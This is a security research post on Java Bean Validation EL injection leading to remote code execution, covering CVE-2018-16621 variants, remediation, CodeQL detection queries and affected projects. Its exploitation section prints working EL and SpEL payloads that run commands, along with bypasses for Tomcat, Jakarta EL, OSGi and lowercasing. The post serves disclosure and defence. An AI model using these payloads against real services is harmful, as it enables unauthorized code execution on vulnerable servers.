July 7, 2020

Bean Stalking: Growing Java beans into RCE

Alvaro Munoz

In this post I will walk you through a Variant Analysis journey that started analyzing CVE-2018-16621 and ended up opening a can of worms.

Analysis of CVE-2018-16621

While reading some CVE descriptions looking for something interesting to do a Variant Analysis on, CVE-2018-16621 Nexus Repository Manager 3 - Java Injection caught my attention (anything with Java EL Injection on it would have gotten my attention :D). The issue description was not clear about the root cause of the issue, but it contained some interesting parts:

> A Java Expression Language Injection vulnerability has been discovered in Nexus Repository Manager 3.

and:

> We have mitigated this vulnerability by properly sanitizing the user input.

The issue was an Expression Language (EL) Injection and it was not fixed by preventing the injection or sandboxing the EL engine, but by sanitizing the input, which could lead to some bypasses. The issue was reported by Dominik Schneider and Till Osswald from ERNW GmbH, and there were some available PoCs I could use to trigger the vulnerability and analyze it with a debugger. It was soon clear that the root cause of the issue was that one of the properties of a user-controller Java Bean (coming from an HTTP request) was concatenated into a Bean Validation error message, and that this message was later processed and any EL expressions were evaluated and interpolated in the final violation message. Controlling part of a EL expression may lead to Remote Code Execution (RCE) and given the fact that when you validate something, it normally implies that the thing being validated is untrusted, this pattern could very easily expose many applications using Java Bean Validation (JSR 380) to RCE if they meet some requirements:

- Use JSR 380 and implement custom validators
- Validate user-controlled beans (eg: Beans being bound from an HTTP request in a JAXRS or Spring controllers)
- Reflect a bean property in the validation error (eg: `<USER INPUT> is not a valid email address.`).

Those requirements looked like they could be easily met, so I decided to take a deeper look into Bean Validation specs and implementation.

Bean Validation (JSR 380)

The idea behind Bean Validation (JSR 380) is simple: constrain once, validate everywhere. By simply annotating Classes or Fields to be validated, built-in and custom validators can enforce validation at different parts of the application such as the presentation or persistence layer.

Let's show a simple use case, a Spring Boot application that wants to validate that the received objects conform to some constraints:

```
@RestController
class ValidateRequestBodyController {

  @PostMapping("/validateBody")
  ResponseEntity<String> validateBody(@Valid @RequestBody Input input) {
    return ResponseEntity.ok("valid");
  }

}
```

Where `Input` is defined as:

```
class Input {

  @Min(1)
  @Max(10)
  private int numberBetweenOneAndTen;

  @Pattern(regexp = "^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$")
  private String ipAddress;

  // ...
}
```

Now, every time the `/validatedBody` endpoint receives an HTTP request, it will unmarshal its body into an instance of the `Input` class, and because of the `@Valid` annotation, it will validate the object and make sure all the constraints are respected. In this case, it will validate that the `numberBetweenOneAndTen` is effectively a number between `@Min(1)` and `@Max(10)` and that `ipAddress` value matches the regular expression defined by the `@Pattern` annotation.

What if you need to apply some constraints that are not provided by the built-in constraints? Well, you can define your own custom validators! Lets see an example where we want to check if the bean property is lower or upper cased:

```
public class CheckCaseValidator implements ConstraintValidator<CheckCase, String> {

    private CaseMode caseMode;

    @Override
    public void initialize(CheckCase constraintAnnotation) {
        this.caseMode = constraintAnnotation.value();
    }

    @Override
    public boolean isValid(String object, ConstraintValidatorContext constraintContext) {
        if ( object == null ) {
            return true;
        }

        boolean isValid;
        String message = object;
        if ( caseMode == CaseMode.UPPER ) {
            isValid = object.equals( object.toUpperCase() );
            message = message + " should be in upper case."
        }
        else {
            isValid = object.equals( object.toLowerCase() );
            message = message + " should be in lower case."
        }

        if ( !isValid ) {
            constraintContext.disableDefaultConstraintViolation();
            constraintContext.buildConstraintViolationWithTemplate(message)
            .addConstraintViolation();
        }
    }
}
```

We can now annotate a Field with `@CheckCase(CaseMode.UPPER)` to validate that it is in the expected case. Problem arises when the error message is later processed and interpolated.

Interpolation

Reading JSR 380 specification, we find that a message interpolator is responsible for transforming the so-called message template, specified via the constraint annotation's message attribute or through the `buildConstraintViolationWithTemplate` API, into a fully expanded, human-readable error message. Interpolation is defined as *"the insertion of something of a different nature into something else"*. In this case, it is the insertion of Message and Expression parameters into the *message template*. Message parameters and Expressions are string literals enclosed in `{}` or `${}` respectively which will be evaluated before the interpolation.

Parameter interpolation (`{}`) will just perform a replacement (normally from a classpath resource bundle). This is useful for localization, and if an attacker can control the key for this replacement, it does not suppose any threats to the application.

Expression interpolation (`${}`), on the other hand, is a completely different beast since these will be evaluated by Jakarta Expression Language engine. Therefore, if the attacker-controlled bean property being validated is reflected into the error message, the attacker will be able to provide an EL expression which will basically result in arbitrary code execution.

Remediation

There are a few different ways to prevent the issue:

1. The most straight-forward option would be to not include bean properties being validated in the custom violation message. This solution can solve the problem at hand but will not prevent the vulnerability to be introduced in the future.

2. Sanitize the validated bean properties before adding them to a custom violation message. Unfortunately we found several bugs in Hibernate Validator, which enabled synthetically invalid expressions to be processed as valid. Therefore your sanitization routine needs to account for the invalid syntax which makes this approach error-prone. This was the bug that enabled us to bypass the original CVE-2018-16621 mitigation and DropWizard initial mitigation. If you choose to take this path, make sure to use a robust sanitization logic such as the one found here. Note that youd shouldn't use this class directly, but use it as a good example of an implementation that works. Everything in the internal package is not API.

3. Disable the EL interpolation altogether and only use parameter interpolation. Default validation provider will use both parameter and expression interpolators, but we can override this behavior by explicitly registering only the parameter one (`ParameterMessageInterpolator`):

```
Validator validator = Validation.byDefaultProvider()
   .configure()
   .messageInterpolator( new ParameterMessageInterpolator() )
   .buildValidatorFactory()
   .getValidator();
```

1. There are different implementations of the Bean Validation specification. Although Hibernate one is the Reference Implementation (RI), Apache BVal also implements the specification and, at least in their latest version, does not interpolate EL expressions by default. Take into account that this replacement may not be a simple drop-in replacement since not all of the built-in constraint validators provided by Hibernate are implemented in Apache implementation.

2. Use parameterized message templates instead of String concatenation. When doing so, always use Expression variables which will allow you to pass objects directly to the EL context preventing an attacker from being able to arbitrary modify the message template:

```
HibernateConstraintValidatorContext context = constraintValidatorContext.unwrap( HibernateConstraintValidatorContext.class );
context.addExpressionVariable("userPovidedValue", tainted );
context.buildConstraintViolationWithTemplate( "My violation message contains an expression variable ${userPovidedValue}").addConstraintViolation();
```

Do NOT use Message parameters for this purpose as in:

```
HibernateConstraintValidatorContext context = constraintValidatorContext.unwrap( HibernateConstraintValidatorContext.class );
context.addMessageParameter("userPovidedValue", tainted);
context.buildConstraintViolationWithTemplate( "DONT DO THIS!! My violation message contains a parameter {userPovidedValue}").addConstraintViolation();
```

Parameter and Expression interpolations are daisy chained:

```
// there's no need for steps 2-3 unless there's `{param}`/`${expr}` in the message
if ( resolvedMessage.indexOf( '{' ) > -1 ) {
    // resolve parameter expressions (step 2)
    resolvedMessage = interpolateExpression(
            new TokenIterator( getParameterTokens( resolvedMessage, tokenizedParameterMessages, InterpolationTermType.PARAMETER ) ),
            context,
            locale
    );

    // resolve EL expressions (step 3)
    resolvedMessage = interpolateExpression(
            new TokenIterator( getParameterTokens( resolvedMessage, tokenizedELMessages, InterpolationTermType.EL ) ),
            context,
            locale
    );
}
```

Therefore the payload will first be replaced into the message template by the parameter interpolator, and the resulting template will be evaluated by the expression interpolator.

CodeQL query

To find these vulnerabilities with CodeQL's data flow analysis feature, we will need to define a `TaintTracking` configuration. The idea is to let CodeQL know about what are the sources, taint steps, sanitizers and sinks that we are interested in. In the context of data flow analysis, a source is where tainted data comes from, and a sink is where tainted data ends up.

Sources

The source of tainted data would be any implementation of the `javax.validation.ConstraintValidator.isValid(0)` method. We can model it with:

```
class TypeConstraintValidator extends RefType {
  TypeConstraintValidator() { hasQualifiedName("javax.validation", "ConstraintValidator") }
}

class ConstraintValidatorIsValidMethod extends Method {
  ConstraintValidatorIsValidMethod() {
    exists(Method m |
      m.hasName("isValid") and
      m.getDeclaringType() instanceof TypeConstraintValidator and
      this = m.getAPossibleImplementation()
    )
  }
}

class InsecureBeanValidationSource extends RemoteFlowSource {
  InsecureBeanValidationSource() {
    exists(ConstraintValidatorIsValidMethod m |
      this.asParameter() = m.getParameter(0)
    )
  }

  override string getSourceType() { result = "Insecure Bean Validation Source" }
}
```

Note that this source will start a taint tracking analysis from a Bean or Bean properties being validated, but there is no evidence that those properties can be actually controlled by an attacker. In order to to so, we should ensure that the Bean is a member of an object graph controlled by the attacker (eg: a Bean unmarshaled from an HTTP request). This was beyond the scope of the initial exploratory query wrote at that moment.

Sink

The sink should be the first argument to `javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate()` that we can model with the following CodeQL class:

```
class TypeConstraintValidatorContext extends RefType {
  TypeConstraintValidatorContext() {
    hasQualifiedName("javax.validation", "ConstraintValidatorContext")
  }
}

class BuildConstraintViolationWithTemplateMethod extends Method {
  BuildConstraintViolationWithTemplateMethod() {
    hasName("buildConstraintViolationWithTemplate") and
    getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext
  }
}

class BuildConstraintViolationWithTemplateSink extends DataFlow::ExprNode {
  BuildConstraintViolationWithTemplateSink() {
    exists(MethodAccess ma |
      asExpr() = ma.getArgument(0) and
      ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod
    )
  }
}
```

Exception handling

It is rather common for a validator to try to invoke some method to perform the validation and include any Exception message as part of a validation error message:

```
try {
    validate(tainted);
} catch(Exception e) {
        context.buildConstraintViolationWithTemplate(e.getMessage()).addConstraintViolation();
}
```

In order to track the dataflow from the tainted value to the exception message, we need to model the code throwing the exception. We can do that by providing our `TaintTracking` configuration with an additional taint step, which will connect the argument to any throwing-exception method call within the `try` block, with the result of any `getMessage`, `getLocalizedMessage`, or `toString` method calls on any type-matching exception variables within the `catch` block:

```
class ExceptionMessageMethod extends Method {
  ExceptionMessageMethod() {
    (
      hasName("getMessage") or
      hasName("getLocalizedMessage") or
      hasName("toString")
    ) and
    getDeclaringType().getASourceSupertype*() instanceof TypeThrowable
  }
}

class ExceptionTaintStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(Call call, TryStmt t, CatchClause c, MethodAccess gm |
      call.getEnclosingStmt().getEnclosingStmt*() = t.getBlock() and
      t.getACatchClause() = c and
      (
        call.getCallee().getAThrownExceptionType().getASubtype*() = c.getACaughtType() or
        c.getACaughtType().getASupertype*() instanceof TypeRuntimeException
      ) and
      c.getVariable().getAnAccess() = gm.getQualifier() and
      gm.getMethod() instanceof ExceptionMessageMethod and
      n1.asExpr() = call.getAnArgument() and
      n2.asExpr() = gm
    )
  }
}
```

Putting it together

We can now finish our `TaintTracking` configuration:

```
class BeanValidationConfig extends TaintTracking::Configuration {
  BeanValidationConfig() { this = "BeanValidationConfig" }

  override predicate isSource(Node source) { source instanceof InsecureBeanValidationSource }

  override predicate isSink(Node sink) { sink instanceof BuildConstraintViolationWithTemplateSink }
}
```

Relevant results

Running the above query we were able to find multiple vulnerable applications including:

- Sonatype Nexus
- Sonatype Nexus
- Netflix Titus
- Netflix Conductor
- DropWizard
- Apache Syncope
- Spring XD (Not fixed since the product is in End Of Life state since 2017)

Exploitation

When exploiting EL injections, the first thing to try is the standard payloads:

```
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
```

or

```
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
```

Both of them use Java Reflection API to get an instance of `java.lang.Class` and then use its `Class.forName()` method to get an instance of any arbitrary Class that we can later instantiate and interact with. These payloads are straightforward, reliable and work in 90% of the cases. Then we have the other 10% :)

Overcoming limitations

What follows are the constraints I found when writing PoC exploits for some of the previously mentioned projects and how I overcame them.

Invalid Java Identifier (Tomcat Jasper)

When providing a PoC to one of the affected projects I got a "cannot reproduce" response. My PoC was not working for them since they were using a different Servlet container and EL engine. They claimed their project was therefore secure since they were getting the following exception:

```
javax.el.ELException: The identifier [class] is not a valid Java identifier as required by section 1.19 of the EL specification (Identifier ::= Java language identifier). This check can be disabled by setting the system property org.apache.el.parser.SKIP_IDENTIFIER_CHECK to true.
```

This exception is thrown by Tomcat Jasper EL implementation which does not support accessing `class` identifier since there is no such Field in the `java.lang.Class`. We can still use `getClass()` though which re-enabled the PoC and got the issue accepted as valid pre-auth RCE.

Incomplete EL implementation (Jakarta EL)

When testing these payloads you may get an exception such as `java.lang.IllegalArgumentException: wrong number of arguments`. An analysis of this error showed up that it was caused by an incomplete implementation of the EL specs. Specifically, VarArgs support was not implemented in J2EE EL:

```
Object[] parameters = null;
if (parameterTypes.length > 0) {
    if (m.isVarArgs()) {
        // TODO
    } else {
        parameters = new Object[parameterTypes.length];
        for (int i = 0; i < parameterTypes.length; i++) {
            parameters[i] = context.convertToType(params[i],
                                              parameterTypes[i]);
        }
    }
}
try {
    return m.invoke(base, parameters);
}
```

Notice the `// TODO` comment. Since `parameters` will remain `null`, the `m.invoke()` call will received a `null` parameter which will cause the exception.

This is an annoying bug since it prevents calling methods that takes VarArgs as argument which includes:

- `java.lang.reflect.Method.invoke(Object obj, Object... args)`
- `java.lang.reflect.Constructor.newInstance(java.lang.Object...)`

This limitation will rule out the `Runtime` and `ProcessBuilder` payloads since we need to either invoke a static method with `Method.invoke` or call a non-default constructor with `Constructor.newInstance`. The only option left to instantiate arbitrary classes is to use `java.lang.Class.newInstance()`, which allows us to invoke the default constructor (parameterless). An example of a class that we can use to run arbitrary code and that has a parameterless constructor is `javax.script.ScriptEngineManager`:

```
''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(<JS PAYLOAD>);
```

Note that the JavaScript engine may not be available but other engines may be installed. Use `ScriptEngineManager.getEngineFactories()` to find out which ones can be used. For example, in one of the applications only Groovy engine was available:

```
''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('groovy').eval('Runtime.getRuntime().exec(\"touch /tmp/pwned\")')
```

Unfortunately for us, in the role of attackers, the vulnerable application was using OSGi and the bundle we got the execution in could not access `javax.script.ScriptEngineManager` nor any other `javax` classes nor any interesting class really … or could it?

OSGi

OSGi is the dynamic module engine for Java. It will basically help us compartimentize our applications in different modules, which will load classes independently from each other. That is, you can have a module that requires `dependecy-foo:1.0` and a different module that needs the same library but version `0.5`. With OSGi, that is entirely possible. Even though reducing the gadget space is not one of the goals og OSGi or Jigsaw, both of them are really useful since they will drastically reduce the classes an attacker can use to achieve Remote Code Execution.

In OSGi, Class loading is normally isolated to the Bundle class loader breaking the standard Java class loader mechanism that relies in parent delegation, that is, the class loader will first check if its parent class loader is able to load the requested class before attempting to load it himself. In OSGi this is still possible through Boot Delegation. Any classes belonging to any packages listed in the `org.osgi.framework.bootdelegation` property will be handled by OSGi's boot class loader.

In this particular application its value was:

- `com.sun.*`
- `javax.transaction.*`
- `javax.xml.crypto.*`
- `jdk.nashorn.*`
- `sun.*`
- `jdk.internal.reflect.*`
- `org.apache.karaf.jaas.boot.*`

`jdk.nashorn` looked promising since I should be able to get an instance of `jdk.nashorn.api.scripting.NashornScriptEngine` class. Unfortunately, its constructor is private. Also `jdk.internal.reflect` was not available in my target application since it was using Java 8u232.

Any class belonging to a package specified in the OSGi `bootdelegation` property will be loaded by the Bootstrap classloader, which means that it will have visibility of all `javax` classes including `ScriptEngineManager`.

The idea is to find a Class in those packages that will do the class loading and instantiation for us.

CodeQL to the rescue!

We can write a query which will look for a method satisfying the following criteria:

1. Declaring class is public and has a public default constructor (so we can instantiate it with `Class.newInstance()`)
2. Declaring class belongs to any of the boot delegated namespaces
3. Method takes a String parameter that flows into a class loading method (eg: `Class.forName()` or `ClassLoader.loadClass()`) and the loaded class flows into `Constructor.newInstance()` or `Class.newInstance()`
4. Method returns a `java.lang.Object`
5. Method is public.

```
/**
 * @kind path-problem
 * @id java/new_instance_gadget
 */

import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow
import DataFlow::PathGraph

class GetConstructorStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .getSourceDeclaration()
          .hasQualifiedName("java.lang", "Class") and
      (
        ma.getMethod().hasName("getConstructor") or
        ma.getMethod().hasName("getConstructors") or
        ma.getMethod().hasName("getDeclaredConstructor") or
        ma.getMethod().hasName("getDeclaredConstructors")
      ) and
      ma.getQualifier() = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class ForNameStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .getSourceDeclaration()
          .hasQualifiedName("java.lang", "Class") and
      ma.getMethod().hasName("forName") and
      ma.getArgument(0) = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class LoadClassStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .hasQualifiedName("java.lang", "ClassLoader") and
      ma.getMethod().hasName("loadClass") and
      ma.getArgument(0) = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class ConstructorNewInstanceMethod extends Method {
  ConstructorNewInstanceMethod() {
    this
        .getDeclaringType()
        .getASupertype*()
        .getSourceDeclaration()
        .hasQualifiedName("java.lang.reflect", "Constructor") and
    this.hasName("newInstance")
  }
}

class ClassNewInstanceMethod extends Method {
  ClassNewInstanceMethod() {
    this
        .getDeclaringType()
        .getASupertype*()
        .getSourceDeclaration()
        .hasQualifiedName("java.lang", "Class") and
    this.hasName("newInstance")
  }
}

class PublicClass extends RefType {
  PublicClass() {
    // public so we can instantiate it
    this.isPublic() and
    // public default constructor
    exists(Constructor c |
      this.getAConstructor() = c and
      c.isPublic() and
      c.getNumberOfParameters() = 0
    )
  }
}

class BootDelegatedClass extends RefType {
  BootDelegatedClass() {
    exists(string name |
      name = this.getPackage().getName() and
      (
        name.matches("com.sun.%") or
        name.matches("javax.transaction.%") or
        name.matches("javax.xml.crypto.%") or
        name.matches("jdk.nashorn.%") or
        name.matches("sun.%") or
        name.matches("jdk.internal.reflect.%") or
        name.matches("org.apache.karaf.jaas.boot.%")
      )
    )
  }
}

class NewInstanceConfig extends TaintTracking::Configuration {
  NewInstanceConfig() { this = "Flow from Method parameter to newInstance" }

  override predicate isSource(DataFlow::Node source) {
    exists(Method m |
      // BootDelegated so can load system classes
      m.getDeclaringType() instanceof BootDelegatedClass and
      // Public so we can get an instance with Class.newInstance()
      m.getDeclaringType() instanceof PublicClass and
      // public method
      m.isPublic() and
      // Parameter is source
      exists(Parameter p |
        p = source.asParameter() and
        p = m.getAParameter() and
        p.getType().(RefType).hasQualifiedName("java.lang", "String")
      ) and
      m.getReturnType().(RefType).hasQualifiedName("java.lang", "Object")
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma |
      (
        ma.getMethod() instanceof ClassNewInstanceMethod or
        ma.getMethod() instanceof ConstructorNewInstanceMethod
      ) and
      sink.asExpr() = ma.getQualifier()
    )
  }
}

from NewInstanceConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select source, source, sink, "instances new objects"
```

Querying the JDK codebase and filtering the results for short pats, returned three instances:

- `com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, ClassLoader cl, boolean doFallback)`
- `com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)`
- `com.sun.org.apache.xalan.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)`

These are handy gadgets since we can use them to instantiate arbitrary classes visible by the bootstrap class loader. We can now prepare our payload as:

```
${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned")')}
```

But we got:

```
javax.el.ELException: java.lang.IllegalArgumentException: Cannot convert Runtime.getRuntime().exec(\"touch /tmp/pwned\") of type class java.lang.String to class java.io.Reader
```

The problem is that, when the method is overloaded, EL will always take the first overload. In this case, it was taking the one accepting a [java.io.Reader](). We can use the `eval(String, ScriptContext)` overload instead:

```
${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned2")', validatedValue.class.forName('com.sun.org.apac
```

Which finally got us the RCE :)

Different EL engines (SpEL)

In a different project I found an injection that looked exploitable, even attaching a debugger stopped at the `buildConstraintViolationWithTemplate` sink with my controlled payload, but something as simple as `${1+1}` was not being evaluated. After some additional debugging I found out the application had installed a custom EL interpolator, in this case, an instance of Spring EL (SpEL) which uses a different expression delimiter (`#{}` instead of `${}`):

```
validator = Validation.buildDefaultValidatorFactory()
    .usingContext()
    .constraintValidatorFactory(new ConstraintValidatorFactoryWrapper(verifierMode, applicationValidatorFactory, spelContextFactory))
    .messageInterpolator(new SpELMessageInterpolator(spelContextFactory))
    .getValidator();
```

Replacing the `${1+1}` exploratory payload with `#{1+1}` worked and I could continue working on the RCE payload.

Capitalization

On that very same application I found a different problem. There were two validations being applied on the same property. The first one was lowercasing the payload and therefore, using something such as `#{''.class.forName(...)}` was transformed into `#{''.class.forname(...)}`. Since Java is case-sensitive, this payload will throw an exception. The second validator was passing the payload unmodified to the `buildConstraintViolationWithTemplate` sink, so I could abuse that. The only problem is that if the Bean property throws an exception in the first validator (lower case one), it would never reach the second one (vulnerable).

We need a RCE all-lower-case payload that will get executed by the first validator, or alternately, a payload that passes the first validator without throwing an exception and then triggered the second validator. I took the second approach and crafted a dynamic EL expression that would behave differently under different validators. I later figured out that an all-lower-case RCE payload is also possible, but the idea of a dynamic payload sounded more interesting.

First of all, our payload needs to differentiate when it is being evaluated by the first validator and when by the second one. This was easy since the SpEL root object (available as `#this`) was different for each case. For the first one it was an instance of `com.google.common.collect.SingletonImmutableBiMap` and for the second one it started with `com.net`.

Next step was getting a dynamic behaviour so the payload would behave differently on different evaluations. The way I managed to do that was using SpEL ternary operator: `boolean expr ? A : B`. Note that if we take the `A` branch, then `B` one will not be executed. That means that we can place any payload on `B` that, when lowercased, results in invalid Java code since it will not be executed. Final payload was something such as:

```
#{#this.class.name.substring(0,5) == 'com.g' ? 'FOO' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA=='))).class.name}
```

The first validator will evaluate the all-lower-case `#this.class.name.substring(0,5) == 'com.g'` expression and, since it will evaluate to `true`, will take the first branch and return `foo` (lowercased). The second branch is NOT evaluated and therefore any invalid code in this branch will be skipped and will not cause an exception to be thrown.

The second validator will perform the same evaluation, but in this case the `if` expression will evaluate to `false` and the code will jump to the second branch that will be case-unmodified this time and so, it will flawlessly execute the RCE payload.

Wrapping up

Bean Validation is a great tool that helps developer validate data throughout the application lifecycle. Unfortunately, custom validators pose a severe risk if they are not implemented correctly, and there are two factors that increase the likelihood of being vulnerable: 1) Beans being validated are normally untrusted by design and 2) EL expressions are evaluated by default unless you disable it or parameterized it. We reported many issues to OSS projects, but there may be remaining OSS projects and probably many close-source applications still vulnerable to Bean Validation driven SSTI, so we expect a peak of issues in the upcoming months, such as this one in VMWare Cloud.